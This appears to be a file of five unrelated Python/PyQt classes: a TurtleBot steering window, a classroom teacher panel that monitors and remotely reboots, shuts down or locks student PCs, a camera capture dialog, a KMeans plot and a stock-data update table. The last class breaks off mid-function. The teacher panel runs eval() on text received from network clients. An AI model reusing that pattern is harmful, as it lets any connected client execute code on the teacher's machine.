class TurtleUIClass(QWidget): def __init__(self): # Konstrukor # Konstruktor der Elternklasse aufrufen super(TurtleUIClass, self).__init__() self.timer = QTimer(self) self.timer.timeout.connect(self.update) self.initUI() def initUI(self): # Instanziierung der Widgets startWert = 0 lcd = QLCDNumber(self) lcd.display(startWert) lcdY = QLCDNumber(self) lcdY.display(startWert) self.sld = QSlider(Qt.Horizontal, self) self.sld.setMaximum(6) self.sld.setMinimum(-6) self.sld.setValue(startWert) self.sldY = QSlider(Qt.Horizontal, self) self.sldY.setMaximum(6) self.sldY.setMinimum(-6) self.sldY.setValue(startWert) pbLess = QPushButton('<') pbMore = QPushButton('>') pbLessY = QPushButton('<') pbMoreY = QPushButton('>') pbGo = QPushButton(' Go Turtle ') pbStop = QPushButton(' STOPP ') self.lblStatus = QLabel('Statuszeile') self.lblInfoX = QLabel('X-Goal') self.lblInfoY = QLabel('Y-Goal') # BOX-Layout mit Widgets füllen vbox = QVBoxLayout() # 0.Reihe hbox = QHBoxLayout() hbox.addWidget(self.lblInfoX) hbox.addWidget(self.lblInfoY) vbox.addLayout(hbox) # 1.Reihe hbox = QHBoxLayout() hbox.addWidget(lcd) hbox.addWidget(lcdY) vbox.addLayout(hbox) # 2.Reihe hbox = QHBoxLayout() hbox.addWidget(self.sld) hbox.addWidget(self.sldY) vbox.addLayout(hbox) # 3.Reihe hbox = QHBoxLayout() hbox.addWidget(pbLess) hbox.addWidget(pbMore) hbox.addWidget(pbLessY) hbox.addWidget(pbMoreY) vbox.addLayout(hbox) # 4.Reihe hbox = QHBoxLayout() hbox.addWidget(pbGo) hbox.addWidget(pbStop) vbox.addLayout(hbox) # Alle Boxen ins Window setzen self.setLayout(vbox) # Signal und Slot verbinden self.sld.valueChanged.connect(lcd.display) self.sldY.valueChanged.connect(lcdY.display) pbLess.clicked.connect(self.SlotKlick) pbMore.clicked.connect(self.SlotKlick) pbLessY.clicked.connect(self.SlotKlickY) pbMoreY.clicked.connect(self.SlotKlickY) pbGo.clicked.connect(self.SlotGo) pbStop.clicked.connect(self.timer.stop) pbStop.clicked.connect(self.SlotStop) # Fenster Konfigurieren self.setGeometry(300, 300, 250, 150) self.setWindowTitle('RTC - PyQt - TurtleSteering') self.show() def SlotKlick(self): sender = self.sender() self.lblStatus.setText(sender.text() + ' was pressed') if sender.text() == '<': wert = self.sld.value() wert = wert - 1 self.sld.setValue(wert) else: wert = self.sld.value() wert = wert + 1 self.sld.setValue(wert) def SlotKlickY(self): sender = self.sender() if sender.text() == '<': wert = self.sldY.value() wert = wert - 1 self.sldY.setValue(wert) else: wert = self.sldY.value() wert = wert + 1 self.sldY.setValue(wert) def SlotGo(self, timerIntervall=20): self.Stop = False """ Hier geht die Turtle ab """ turtle1.goal.x = self.sld.value() turtle1.goal.y = self.sldY.value() self.timer.start(timerIntervall) # in ms def SlotStop(self): turtle1.stop_robot() def get_scan(self): scan = rospy.wait_for_message('scan', LaserScan) scan_filtered = [] numbOfScans = len(scan.ranges) # # This number of samples is defined in # turtlebot3_<model>.gazebo.xacro file, # the default is 360. samples_view = 1 # 1 <= samples_view <= samples if samples_view > numbOfScans: samples_view = numbOfScans if samples_view == 1: scan_filtered.append(scan.ranges[0]) else: left_lidar_samples_ranges = -(samples_view // 2 + samples_view % 2) right_lidar_samples_ranges = samples_view // 2 left_lidar_samples = scan.ranges[left_lidar_samples_ranges:] right_lidar_samples = scan.ranges[:right_lidar_samples_ranges] scan_filtered.extend(left_lidar_samples + right_lidar_samples) for i in range(samples_view): if scan_filtered[i] == float('Inf'): scan_filtered[i] = 3.5 elif math.isnan(scan_filtered[i]): scan_filtered[i] = 0 return scan_filtered def obstacle_detected(self): STOP_DISTANCE = 0.3 LIDAR_ERROR = 0.05 SAFE_STOP_DISTANCE = STOP_DISTANCE + LIDAR_ERROR lidar_distances = self.get_scan() min_distance = min(lidar_distances) if min_distance < SAFE_STOP_DISTANCE: rospy.loginfo(" Obstacle detected ") return True else: rospy.loginfo(" No Obstacle detected ") return False def update(self): # Aufruf per Timer alle 20ms self.get_scan() if not self.obstacle_detected(): turtle1.move2goal() else: turtle1.robot_wait()
class MainWindow(QMainWindow): def __init__(self): QMainWindow.__init__(self) loadUi("ui_source_server/server_panel.ui", self) # 加载面板文件,使用qt designer开发 self.setWindowTitle("多媒体管理软件 -樱桃智库") # 设置窗口标题 icon_info = qta.icon('fa5s.chalkboard-teacher', color='#3a8ee6') self.setWindowIcon(icon_info) # 设置窗口的图标 self.setFixedSize(1160, 865) # 设置窗口固定尺寸 self.clients_list = [] self.comboBox.addItems(self.clients_list) # 为客户端选择框填充项目 self.window_initial() # 窗口初始化 self.check_thread = Server([]) # 多线程去获取 self.check_thread.signal.connect(self.server_callback) self.check_thread.start() # 启动线程 current_time = NowTime().now_time() self.textBrowser.append("" + current_time + "\n" + "学生端输入本机ip:" + host + " 本机端口:" + str(port)) icon_info = qta.icon('fa5s.info-circle', color='white') icon_reboot = qta.icon('fa5s.redo', color='white') icon_power_off = qta.icon('fa5s.power-off', color='white') icon_lock = qta.icon('fa5s.lock', color='white') icon_broadcast = qta.icon('fa5s.bullhorn', color='white') self.pushButton_5.setIcon(icon_info) self.pushButton.setIcon(icon_reboot) self.pushButton_2.setIcon(icon_power_off) self.pushButton_3.setIcon(icon_lock) self.pushButton_4.setIcon(icon_broadcast) for i in range(9): client_button = 'self.pushButtonClient_' + str(i + 1) eval(client_button).clicked.connect(self.child_window) self.statusbar.showMessage("软件版本 v0.0.1", 5000) def child_window(self): sender = self.sender() button_client = sender.objectName() client_num = int(button_client.split('_')[1]) if not client_num > len(students): self.child = Child(students[client_num - 1]) # 创建子窗口实例 self.child.exec() else: pass def window_initial(self): if self.clients_list: self.current_client = self.clients_list[0] # 当前客户端是第一个客户端 else: # 如果没有客户端,那么这些按钮不可用 self.pushButton_5.setEnabled(False) self.pushButton.setEnabled(False) self.pushButton_2.setEnabled(False) self.pushButton_3.setEnabled(False) self.comboBox.currentIndexChanged.connect(self.choose_client) # 选中一个客户端 self.pushButton_5.clicked.connect(self.device_info) # 点击设备信息以后的操作 self.pushButton.clicked.connect(self.reboot_device) # 点击重启设备的操作 self.pushButton_2.clicked.connect(self.close_device) # 点击关闭设备的操作 self.pushButton_3.clicked.connect(self.lock_screen) # 锁屏操作 self.pushButton_4.clicked.connect(self.broadcast) # 广播操作 img_path = "ui_source_server/no_data.png" # 图片路径 image = QPixmap(img_path).scaled(300, 180) # 加载图片,并自定义图片展示尺寸 for i in range(9): video = 'self.video_' + str(i + 1) eval(video).setPixmap(image) # 显示图片 def setup_ui(self): """ 轮询所有的监控屏幕 :return: """ self.timer = QTimer(self) # 初始化一个定时器 if students: self.timer.timeout.connect(self.get_client_screen) # 每次计时到时间时发出信号 self.timer.start(1000) # 设置计时间隔并启动;单位毫秒 else: pass def choose_client(self, i): self.current_client = self.comboBox.currentText() now_client = str(self.current_client) if now_client: current_time = NowTime().now_time() self.textBrowser.append("<font color='black'>" + current_time + "\n连接" + now_client + "</font>") self.pushButton_5.setEnabled(True) self.pushButton.setEnabled(True) self.pushButton_2.setEnabled(True) self.pushButton_3.setEnabled(True) def device_info(self): """查看设备信息""" send_msg = {'device_info': True} self.control_client(send_msg) current_time = NowTime().now_time() self.textBrowser.append("<font color='blue'>" + current_time + "\n" + "查看设备信息</font>") def reboot_device(self): """ 教师端重启客户端 :return: """ send_msg = {'reboot': True} self.control_client(send_msg) current_time = NowTime().now_time() self.textBrowser.append("<font color='blue'>" + current_time + "\n" + "重启设备</font>") def close_device(self): """ 教师端关闭学生端计算机 :return: """ send_msg = {'turn_off': True} self.control_client(send_msg) current_time = NowTime().now_time() self.textBrowser.append("<font color='blue'>" + current_time + "\n" + "关闭设备</font>") def get_client_screen(self): self.check_thread = AutoPollScreen(students) # 多线程去获取 self.check_thread.signal.connect(self.screen_callback) self.check_thread.start() # 启动线程 def screen_callback(self, videos): """ 学生端视频轮询回调函数 TODO 需要增加多个视频的连接! :param videos: :return: """ if videos: for i, video in enumerate(videos): video = video.scaled(300, 200) if i > 9: break eval('self.video_' + str(i + 1)).setPixmap(video) else: pass def server_callback(self, value): """ 回调函数中新增了连接的client,一方面去保持该client,另一方面是1、连接桌面视频2、增添combox :param value: :return: """ self.update_clients() # 更新tcp self.check_thread = TcpLink(value) # 多线程去获取 self.check_thread.signal.connect(self.tcp_callback) self.check_thread.start() # 启动线程 def tcp_callback(self, value): """ tcp传输的回调函数,子线程的回复内容在这里出现。 :param value: list :return: None """ if value: client_addr = value[0].get('client_addr') receive_msg = value[0].get('receive_msg') offline = value[0].get('offline') stu_file = value[0].get('stu_file') if offline: client_name = client_addr[0] + ':' + str(client_addr[1]) current_time = NowTime().now_time() self.textBrowser.append("<font color='red'>" + current_time + "\n" + client_name + "已经掉线!</font>") print("已经掉线") self.timer.stop() # 停掉计时器 # 掉线以后应该及时将students清掉! # 先停掉timer然后清掉,然后再开启! for i, student in enumerate(students): if client_addr in student.values(): students.pop(i) break self.setup_ui() # 开启记时 self.update_clients() # 更新 elif receive_msg: receive_msg = eval(receive_msg) stu_name = receive_msg.get('stu_name') stu_addr = receive_msg.get('stu_addr') mem_percent = receive_msg.get('mem_percent') if stu_name and stu_addr: # 如果返回学生端计算名和计算地址 student = receive_msg student['client_addr'] = client_addr # students.append(student) # 添加到用户列表中 self.setup_ui() # 开启记时 elif mem_percent: mem_percent = receive_msg['mem_percent'] current_time = NowTime().now_time() self.textBrowser.append( "<font color='Orange'>" + current_time + "\n" + "设备状态:CPU核心数" + receive_msg['cpu_count'] + ",CPU占用:" + receive_msg['cpu_percent'] + ",内存占用:" + receive_msg['mem_percent'] + ".</font>") else: client_name = client_addr[0] + ':' + str(client_addr[1]) current_time = NowTime().now_time() # TODO 这里应该设置多线程后台连接,设置超时10次 self.textBrowser.append("<font color='red'>" + current_time + "\n" + client_name + " 举手一次</font>") elif stu_file: receive_data = value[0] stu_address = receive_data['client_addr'] filename = stu_address[0] + '_' + str(stu_address[1]) + '_' + receive_data['stu_filename'] # 重建名字 content = receive_data['stu_file'] # 获取数据 with open("./received_files/" + filename, 'wb') as f: f.write(content) current_time = NowTime().now_time() self.textBrowser.append( "<font color='Orange'>" + current_time + "\n" + "收到文件" + filename + ",并保存成功!</font>") def lock_screen(self): send_msg = {'lock_screen': True} self.control_client(send_msg) current_time = NowTime().now_time() self.textBrowser.append("<font color='blue'>" + current_time + "\n" + "锁定计算机</font>") def control_client(self, command): """ 发送控制指令! :param command: dict :return: None """ now_client = self.current_client client_addr = now_client.split(':') conn = (client_addr[0], int(client_addr[1])) try: conn_dt[conn].sendall((str(command)).encode("utf-8")) except Exception as err: print(err) def broadcast(self): broadcast_content = self.plainTextEdit.toPlainText() if broadcast_content and conn_list: current_time = NowTime().now_time() self.textBrowser.append("<font color='red'>" + current_time + " 广播\n" + broadcast_content + "</font>") send_msg = {'broadcast': broadcast_content} for client in conn_list: try: conn_dt[client].sendall((str(send_msg)).encode("utf-8")) except Exception as err: print(err) continue else: pass def update_clients(self): """ 更新连接设备的下拉菜单 :return: """ self.comboBox.clear() # 从连接的设备中取地址 connected_clients = [item[0] + ':' + str(item[1]) for item in conn_list] self.comboBox.addItems(connected_clients) if len(conn_list) == 0: # 如果没有客户端,那么这些按钮不可用 self.pushButton_5.setEnabled(False) self.pushButton.setEnabled(False) self.pushButton_2.setEnabled(False) self.pushButton_3.setEnabled(False)
class Ui_register_Dialog(QWidget): def setupUi(self, register_Dialog): register_Dialog.setObjectName("register_Dialog") register_Dialog.resize(width_px, height_px) self.space = 20 self.displayed_image_size = 100 self.col = 0 self.row =0 self.initial_path =None print(width_px) print(height_px) self.re_Save_pushButton = QtWidgets.QPushButton(register_Dialog) self.re_Save_pushButton.setGeometry(QtCore.QRect(30, 560, 89, 25)) self.re_Save_pushButton.setObjectName("re_Save_pushButton") self.horizontalLayoutWidget = QtWidgets.QWidget(register_Dialog) self.horizontalLayoutWidget.setGeometry(QtCore.QRect(10, 20, 351, 31)) self.horizontalLayoutWidget.setObjectName("horizontalLayoutWidget") self.horizontalLayout = QtWidgets.QHBoxLayout(self.horizontalLayoutWidget) self.horizontalLayout.setContentsMargins(0, 0, 0, 0) self.horizontalLayout.setObjectName("horizontalLayout") self.label = QtWidgets.QLabel(self.horizontalLayoutWidget) self.label.setObjectName("label") self.horizontalLayout.addWidget(self.label) self.register_Camera_comboBox = QtWidgets.QComboBox(self.horizontalLayoutWidget) self.register_Camera_comboBox.setObjectName("register_Camera_comboBox") self.horizontalLayout.addWidget(self.register_Camera_comboBox) self.Register_Zoom_In_pushButton = QtWidgets.QPushButton(self.horizontalLayoutWidget) self.Register_Zoom_In_pushButton.setText("") self.Register_Zoom_In_pushButton.setIconSize(QtCore.QSize(25, 25)) self.Register_Zoom_In_pushButton.setObjectName("Register_Zoom_In_pushButton") self.horizontalLayout.addWidget(self.Register_Zoom_In_pushButton) self.Register_Zoom_out_pushButton = QtWidgets.QPushButton(self.horizontalLayoutWidget) self.Register_Zoom_out_pushButton.setText("") self.Register_Zoom_out_pushButton.setIconSize(QtCore.QSize(25, 25)) self.Register_Zoom_out_pushButton.setObjectName("Register_Zoom_out_pushButton") self.horizontalLayout.addWidget(self.Register_Zoom_out_pushButton) self.Register_Zoom_fit_pushButton = QtWidgets.QPushButton(self.horizontalLayoutWidget) self.Register_Zoom_fit_pushButton.setText("") self.Register_Zoom_fit_pushButton.setIconSize(QtCore.QSize(25, 25)) self.Register_Zoom_fit_pushButton.setObjectName("Register_Zoom_fit_pushButton") self.horizontalLayout.addWidget(self.Register_Zoom_fit_pushButton) self.scrollArea = QtWidgets.QScrollArea(register_Dialog) self.scrollArea.setGeometry(QtCore.QRect(10, 60, 701, 491)) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName("scrollArea") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 699, 489)) self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") self.scrollArea_2 = QtWidgets.QScrollArea(register_Dialog) self.scrollArea_2.setWidgetResizable(True) self.scrollArea_2.setBackgroundRole(QPalette.Dark)#THEM DONG self.scrollAreaWidgetContents_2 = QtWidgets.QWidget() self.gridLayout = QtWidgets.QGridLayout(self.scrollAreaWidgetContents_2) self.scrollArea_2.setWidget(self.scrollAreaWidgetContents_2) self.scrollArea_2.setGeometry(width_px-3*displayed_image_size-space, space,displayed_image_size*2,height_px-displayed_image_size) # khung show image self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.addWidget(self.scrollArea_2) ################################################################################ register_Dialog.closeEvent = self.CloseEvent dir_file_goc=os.getcwd() file_config_incon_zoom_in=dir_file_goc+"/resources/icons/zoom-in.png" file_config_incon_zoom_out=dir_file_goc+"/resources/icons/zoom-out.png" file_config_incon_zoom_fit=dir_file_goc+"/resources/icons/zoom.png" self.Register_Zoom_In_pushButton.setIcon(QtGui.QIcon(file_config_incon_zoom_in)) self.Register_Zoom_out_pushButton.setIcon(QtGui.QIcon(file_config_incon_zoom_out)) self.Register_Zoom_fit_pushButton.setIcon(QtGui.QIcon(file_config_incon_zoom_fit)) self.re_img_label = QtWidgets.QLabel(self.scrollAreaWidgetContents)#THEM DONG self.scrollArea.setBackgroundRole(QPalette.Dark)#THEM DONG self.re_img_label.setWordWrap(True) self.re_img_label.setObjectName("label") self.scrollArea.setWidget(self.re_img_label) self.timer = QTimer() #self.Close_pushButton.clicked.connect() self.re_Save_pushButton.clicked.connect(self.save_img) self.timer.timeout.connect(self.viewCam_1) self.controlTimer() #self.show() ################################################################################ self.retranslateUi(register_Dialog) QtCore.QMetaObject.connectSlotsByName(register_Dialog) def retranslateUi(self, register_Dialog): _translate = QtCore.QCoreApplication.translate register_Dialog.setWindowTitle(_translate("register_Dialog", "Dialog")) self.re_Save_pushButton.setText(_translate("register_Dialog", "Save")) self.label.setText(_translate("register_Dialog", "Camera")) def viewCam_1(self): converter = pylon.ImageFormatConverter() converter.OutputPixelFormat = pylon.PixelType_BGR8packed converter.OutputBitAlignment = pylon.OutputBitAlignment_MsbAligned # create video capture grabResult = camera.RetrieveResult(5000, pylon.TimeoutHandling_ThrowException) if grabResult.GrabSucceeded(): # Access the image data image = converter.Convert(grabResult) self.img = image.GetArray() self.image = cv2.cvtColor(self.img, cv2.COLOR_BGR2RGB) height, width, channel = self.image.shape step = channel * width qImg = QImage(self.image.data, width, height, step, QImage.Format_RGB888) self.re_img_label.setPixmap(QPixmap.fromImage(qImg)) def controlTimer(self): if not self.timer.isActive(): camera.StartGrabbing(pylon.GrabStrategy_LatestImageOnly) self.timer.start(20) def save_img(self): dir_image_raw = os.getcwd()+"/image_raw" dir_image_raw = dir_image_raw.rstrip() count_img_raw_saved = len(os.listdir(dir_image_raw)) count_img_raw_saved = count_img_raw_saved + 1 if (count_img_raw_saved <10): self.name = "image_raw_"+"000"+str(count_img_raw_saved) elif (count_img_raw_saved < 100): self.name = "image_raw_"+"00"+str(count_img_raw_saved) elif (count_img_raw_saved < 1000): self.name = "image_raw_"+"0"+str(count_img_raw_saved) else: self.name = str(count_img_raw_saved) name_save = dir_image_raw+"/"+self.name+".jpg" cv2.imwrite(name_save,self.image) self.remRow() self.show_img() def CloseEvent(self, event): self.timer.stop() camera.StopGrabbing() print("dong") ############################################################################ def show_img(self): dir_image_raw = os.getcwd()+"/image_raw" file_path = dir_image_raw.rstrip()#bo khoang trang img_type = 'jpg' png_list = list(i for i in os.listdir(file_path) if str(i).endswith('.{}'.format(img_type))) png_list = sorted(png_list) #mang 1 chieu num = len(png_list) print(num) if num !=0: for i in range(num): print(png_list[i]) image_id = str(file_path + '/'+png_list[i]) pixmap = QPixmap(image_id) image_id = str(png_list[i]) self.addImage(pixmap, image_id) QApplication.processEvents() def addImage(self, pixmap, image_id): self.row +=1 clickable_image = QClickableImage(self.displayed_image_size, self.displayed_image_size, pixmap, image_id) self.gridLayout.addWidget(clickable_image, self.row, 0) def remRow(self): while self.gridLayout.count(): item = self.gridLayout.takeAt(0) widget = item.widget() widget.deleteLater()
class KMeansCanvas(FigureCanvas): # '''FigureCanvas的最终父类是QWidget''' def __init__(self, parent=None, width=5, height=4, dpi=100): self.mark = ['dr', '*b', 'sg', 'pk', '^r', '+b', '<g', 'hk'] # 聚类的图标加颜色, 最多设置8个聚类 # 新建一个绘图对象 self.fig = Figure(figsize=(width, height), dpi=dpi) self.fig.suptitle("KMeans") # 设置figure的名字 # 建立一个子图。如果要建立复合图, 可以在这里修改 self.axes = self.fig.add_subplot(111) FigureCanvas.__init__(self, self.fig) self.setParent(parent) # 定义FigureCanvas的尺寸策略, 使之尽可能的向外填充空间 FigureCanvas.setSizePolicy(self, QSizePolicy.Expanding, QSizePolicy.Expanding) FigureCanvas.updateGeometry(self) def kMeansPlot(self, dataSet, k, statusBar, button): self.kMeans = kMeans(dataSet, k) # KMeans生成器 # 设置Timer self.timerStart = True self.timer = QTimer(self) self.timer.timeout.connect( lambda: self.update_figure(dataSet, k, statusBar, button)) # 每隔一段时间就会触发一次 update函数 self.update_figure(dataSet, k, statusBar, button) # 第一次自己来调用, 后面交给定时器Timer # 打开文件后显示图 def plotInit(self, dataSet, statusBar): self.axes.clear() # 清除上次绘图结果 for i in range(len(dataSet)): self.axes.plot(dataSet[i, 0], dataSet[i, 1], 'oc', markersize=5) self.draw() statusBar.showMessage('数据已显示...') def update_figure(self, dataSet, k, statusBar, button): self.axes.clear() # 清除上次绘图结果 try: centroids, clusterAssessment, status = next(self.kMeans) # 用生成器来迭代 centroidsX = centroids.getA()[:, 0] centroidsY = centroids.getA()[:, 1] if status == CLASSIFICATION: # 表明分了类 statusBar.showMessage('正在分类...') for i in range(len(dataSet)): self.axes.plot(dataSet[i, 0], dataSet[i, 1], self.mark[int(clusterAssessment[i, 0])], markersize=5) elif status == NEWCENTROID: # 生成了新的聚类中心 statusBar.showMessage('更新聚类中心...') for i in range(len(dataSet)): self.axes.plot(dataSet[i, 0], dataSet[i, 1], self.mark[int(clusterAssessment[i, 0])], markersize=5) elif status == BEGINING: statusBar.showMessage('生成随机聚类中心...') # 最开始状态没有分类, 所以未分类的颜色点颜色都是一样的 for i in range(len(dataSet)): self.axes.plot(dataSet[i, 0], dataSet[i, 1], 'oc', markersize=5) legends = [] for i in range(k): legend, = self.axes.plot(centroidsX[i], centroidsY[i], self.mark[i], markersize=10) legends.append(legend) self.axes.legend(legends, list(range(k)), loc="upper left") self.draw() if self.timerStart: self.timer.start(2000) self.timerStart = False except: statusBar.showMessage('KMeans已收敛') button.setEnabled(True) self.timer.stop() # 聚类收敛了, 停止迭代器
class DataUpdateUi(QWidget, TaskQueue.Observer): task_finish_signal = pyqtSignal([UpdateTask]) refresh_finish_signal = pyqtSignal() INDEX_CHECK = 0 INDEX_ITEM = 1 INDEX_STATUS = 8 TABLE_HEADER = ['', 'Item', 'Local Data Since', 'Local Data Until', 'Latest Update', 'Update Estimation', 'Sub Update', 'Update', 'Status'] NO_SUB_UPDATE_URI = ['Market.SecuritiesInfo', 'Market.IndexInfo', ] SUB_UPDATE_STOCK_URI = ['Finance.Audit', 'Finance.BusinessComposition', 'Finance.BalanceSheet', 'Finance.IncomeStatement', 'Finance.CashFlowStatement', 'Stockholder.PledgeStatus', 'Stockholder.PledgeHistory', 'Stockholder.Statistics', 'TradeData.Stock.Daily', 'Market.NamingHistory', 'Market.SecuritiesTags'] SUB_UPDATE_INDEX_URI = ['TradeData.Index.Daily'] SUB_UPDATE_STOCK_EXCHANGE_URI = ['Market.TradeCalender'] def get_uri_sub_update(self, uri: str) -> list or None: if uri in DataUpdateUi.SUB_UPDATE_STOCK_URI: data_utility = self.__data_hub.get_data_utility() return data_utility.get_stock_identities() elif uri in DataUpdateUi.SUB_UPDATE_INDEX_URI: return list(DEPENDS_INDEX.keys()) elif uri in DataUpdateUi.SUB_UPDATE_STOCK_EXCHANGE_URI: return A_SHARE_MARKET elif uri in DataUpdateUi.NO_SUB_UPDATE_URI: return None else: print('Sub update declare missing.') assert False def __init__(self, data_hub_entry: DataHubEntry, update_table: UpdateTableEx): super(DataUpdateUi, self).__init__() # Access entry self.__data_hub = data_hub_entry self.__data_center = self.__data_hub.get_data_center() self.__update_table = update_table # Table content self.__display_uri = [] self.__display_identities = None self.__display_table_lines = [] # Page related self.__page = 0 self.__item_per_page = 20 # For processing updating self.__processing_update_tasks = [] # Fot task counting self.__processing_update_tasks_count = [] self.task_finish_signal.connect(self.__on_task_done) self.refresh_finish_signal.connect(self.update_table_display) # Timer for update status self.__timer = QTimer() self.__timer.setInterval(1000) self.__timer.timeout.connect(self.on_timer) self.__timer.start() # UI related self.__info_panel = QLabel(DEFAULT_INFO) self.__table_main = TableViewEx() self.__button_head_page = QPushButton('<<') self.__button_prev_page = QPushButton('<') self.__button_next_page = QPushButton('>') self.__button_tail_page = QPushButton('>>') self.__button_upper_level = QPushButton('↑') self.__button_refresh = QPushButton('Refresh') self.__button_batch_auto_update = QPushButton('Auto Update Select') self.__button_batch_force_update = QPushButton('Force Update Select') self.init_ui() # Post update and cache stock list after posting RefreshTask data_utility = self.__data_hub.get_data_utility() StockAnalysisSystem().get_task_queue().add_observer(self) StockAnalysisSystem().get_task_queue().append_task(UpdateStockListTask(data_utility)) # ---------------------------------------------------- UI Init ----------------------------------------------------- def init_ui(self): self.__layout_control() self.__config_control() self.__to_top_level() def __layout_control(self): main_layout = QVBoxLayout() self.setLayout(main_layout) self.setMinimumSize(600, 400) main_layout.addWidget(self.__table_main) bottom_control_area = QHBoxLayout() main_layout.addLayout(bottom_control_area) bottom_right_area = QVBoxLayout() bottom_control_area.addWidget(self.__info_panel, 99) bottom_control_area.addLayout(bottom_right_area, 0) line = horizon_layout([self.__button_head_page, self.__button_prev_page, self.__button_next_page, self.__button_tail_page, self.__button_upper_level, self.__button_refresh]) bottom_right_area.addLayout(line) line = horizon_layout([self.__button_batch_auto_update, self.__button_batch_force_update]) bottom_right_area.addLayout(line) def __config_control(self): self.__table_main.SetColumn(DataUpdateUi.TABLE_HEADER) self.__table_main.SetCheckableColumn(DataUpdateUi.INDEX_CHECK) self.__table_main.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents) self.__button_head_page.clicked.connect(partial(self.on_page_control, '<<')) self.__button_prev_page.clicked.connect(partial(self.on_page_control, '<')) self.__button_next_page.clicked.connect(partial(self.on_page_control, '>')) self.__button_tail_page.clicked.connect(partial(self.on_page_control, '>>')) self.__button_upper_level.clicked.connect(partial(self.on_page_control, '^')) self.__button_refresh.clicked.connect(partial(self.on_page_control, 'r')) self.__button_batch_auto_update.clicked.connect(partial(self.on_batch_update, False)) self.__button_batch_force_update.clicked.connect(partial(self.on_batch_update, True)) def on_detail_button(self, uri: str): print('Detail of ' + uri) self.__page = 0 self.__to_detail_level(uri) def on_auto_update_button(self, uri: str, identity: str): print('Auto update ' + uri + ':' + str(identity)) self.__build_post_update_task(uri, identity, False) def on_force_update_button(self, uri: str, identity: str): print('Force update ' + uri + ' : ' + str(identity)) self.__build_post_update_task(uri, identity, True) def on_batch_update(self, force: bool): for i in range(self.__table_main.RowCount()): if self.__table_main.GetItemCheckState(i, DataUpdateUi.INDEX_CHECK) == Qt.Checked: item_id = self.__table_main.GetItemText(i, DataUpdateUi.INDEX_ITEM) # A little ugly...To distinguish it's uri or securities ideneity if self.__display_identities is None: self.__build_post_update_task(item_id, None, force) else: self.__build_post_update_task(self.__display_uri[0], item_id, force) def on_page_control(self, control: str): # data_utility = self.__data_hub.get_data_utility() # stock_list = data_utility.get_stock_list() # max_page = len(stock_list) // self.__item_per_page if self.__display_identities is None: max_item_count = len(self.__display_uri) else: max_item_count = len(self.__display_identities) max_page = max_item_count // self.__item_per_page new_page = self.__page if control == '<<': new_page = 0 elif control == '<': new_page = max(self.__page - 1, 0) elif control == '>': new_page = min(self.__page + 1, max_page) elif control == '>>': new_page = max_page elif control == '^': self.__to_top_level() if control in ['<<', '<', '>', '>>', 'r']: if control == 'r' or new_page != self.__page: self.update_table() self.__page = new_page def on_timer(self): for i in range(self.__table_main.RowCount()): item_id = self.__table_main.GetItemText(i, DataUpdateUi.INDEX_ITEM) # A little ugly...To distinguish it's uri or securities identity if self.__display_identities is None: uri = item_id prog_id = uri else: uri = self.__display_uri[0] prog_id = [uri, item_id] for task in self.__processing_update_tasks: if not task.in_work_package(uri): continue text = [] if task.status() in [TaskQueue.Task.STATUS_IDLE, TaskQueue.Task.STATUS_PENDING]: text.append('等待中...') else: if task.progress.has_progress(prog_id): rate = task.progress.get_progress_rate(prog_id) text.append('%ss' % task.clock.elapsed_s()) text.append('%.2f%%' % (rate * 100)) if task.status() == TaskQueue.Task.STATUS_CANCELED: text.append('[Canceled]') elif task.status() == TaskQueue.Task.STATUS_FINISHED: text.append('[Finished]') elif task.status() == TaskQueue.Task.STATUS_EXCEPTION: text.append('[Error]') self.__table_main.SetItemText(i, DataUpdateUi.INDEX_STATUS, ' | '.join(text)) break # def closeEvent(self, event): # if self.__task_thread is not None: # QMessageBox.information(self, # QtCore.QCoreApplication.translate('', '无法关闭窗口'), # QtCore.QCoreApplication.translate('', '更新过程中无法关闭此窗口'), # QMessageBox.Close, QMessageBox.Close) # event.ignore() # else: # event.accept() # ---------------------------------------- Table Update ---------------------------------------- def update_table(self): self.__table_main.Clear() self.__table_main.SetColumn(DataUpdateUi.TABLE_HEADER) self.__table_main.AppendRow(['', '刷新中...', '', '', '', '', '', '', '']) task = RefreshTask(self) StockAnalysisSystem().get_task_queue().append_task(task) def update_table_display(self): self.__table_main.Clear() self.__table_main.SetColumn(DataUpdateUi.TABLE_HEADER) for line in self.__display_table_lines: self.__table_main.AppendRow(line) index = self.__table_main.RowCount() - 1 # Add check box # check_item = QTableWidgetItem() # check_item.setCheckState(QtCore.Qt.Unchecked) # self.__table_main.setItem(index, 0, check_item) # Add detail button # Only if currently in top level if self.__display_identities is None or len(self.__display_identities) == 0: if line[1] not in DataUpdateUi.NO_SUB_UPDATE_URI: button = QPushButton('Enter') button.clicked.connect(partial(self.on_detail_button, line[1])) self.__table_main.SetCellWidget(index, 6, button) # Add update button button_auto = QPushButton('Auto') button_force = QPushButton('Force') if self.__display_identities is None: button_auto.clicked.connect(partial(self.on_auto_update_button, line[1], None)) button_force.clicked.connect(partial(self.on_force_update_button, line[1], None)) else: button_auto.clicked.connect(partial(self.on_auto_update_button, self.__display_uri[0], line[1])) button_force.clicked.connect(partial(self.on_force_update_button, self.__display_uri[0], line[1])) self.__table_main.SetCellWidget(index, 7, [button_auto, button_force]) def update_table_content(self): contents = [] count = self.__item_per_page offset = self.__page * self.__item_per_page for uri in self.__display_uri: update_details = self.__display_identities if \ self.__display_identities is not None else [None] for index in range(offset, offset + count): if index >= len(update_details): break line = self.generate_line_content(uri, update_details[index]) if line is not None: contents.append(line) self.__display_table_lines = contents def generate_line_content(self, uri: str, identity: str or None) -> [list] or None: line = [] data_table, _ = self.__data_center.get_data_table(uri) update_table = self.__update_table if data_table is None: return None since, until = update_table.get_since_until(uri.split('.')) if since is None or until is None: # TODO: Workaround - because each stock storage in each table. # So we cannot fetch its time range with this method. since, until = data_table.range(uri, identity) if until is not None: update_since = min(tomorrow_of(until), now()) update_until = now() else: update_since, update_until = self.__data_center.calc_update_range(uri, identity) update_tags = uri.split('.') latest_update = self.__update_table.get_last_update_time(update_tags) line.append('') # Place holder for check box line.append(identity if str_available(identity) else uri) line.append(date2text(since) if since is not None else ' - ') line.append(date2text(until) if until is not None else ' - ') line.append(date2text(latest_update) if latest_update is not None else ' - ') if update_since is not None and update_until is not None: line.append(date2text(update_since) + ' - ' + date2text(update_until)) else: line.append(' - ') line.append('-') # 